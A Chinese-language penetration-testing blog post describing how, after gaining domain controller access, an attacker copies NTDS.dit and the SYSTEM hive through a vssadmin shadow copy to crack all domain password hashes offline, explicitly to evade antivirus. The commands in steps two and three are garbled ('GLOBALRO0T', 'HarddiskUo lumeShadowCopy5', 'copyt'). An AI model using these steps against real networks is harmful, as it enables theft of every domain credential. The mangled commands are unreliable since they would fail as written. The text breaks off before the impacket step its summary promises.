域渗透之获得域控服务器的NTDS.dit文件

最新推荐文章于 2025-03-18 17:50:48 发布

原创

最新推荐文章于 2025-03-18 17:50:48 发布 · 2.4k 阅读

标签

#windows #域 #内网渗透 #ntds.dit文件

收录于

本文介绍如何通过vssadmin命令创建卷影拷贝，从域控制器安全地复制NTDS.dit和SYSTEM文件，利用impacket工具包进行离线hash遍历，并提供抓取明文密码的方法。

前言：

ntds.dit是主要的AD数据库，存放在c:\windows\NTDS\NTDS.dit，包括有关域用户，组和成员身份的信息，它还包括域中所有用户的密码哈希值，为了进一步保护哈希值，使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。
因为这两个文件属于系统特殊文件，不能直接复制粘贴，所以需要用特殊的方式来复制粘贴。
当我们拿到域控的权限后，我们可以跑域内所有的hash值，但是如果在线跑hash的话，是比较容易被杀软等软件阻止的，所以我们可以将NTDS.dit文件和SYSTEM复制到本地进行遍历。

利用方式:

利用vssadmin命令创建C盘卷影拷贝：
第一步：打开cmd执行命令:vssadmin create shadow /for=C：
此时卷影副本卷名就是域控的C盘。
在这里插入图片描述
第二步：执行copy \\?\GLOBALRO0T\Device\HarddiskUo lumeShadowCopy5\windows\NTDS\NTDS.dit C:\Users 即可将ntds.dit文件拷贝到C盘的Users用户下。

第三步：执行 copyt \\?\GLOBALRO0T\Device\HarddiskUo lumeShadowCopy5\windows\System32\config\SYSTEM C:\Users 将SYSTEM文件复制到C盘Users下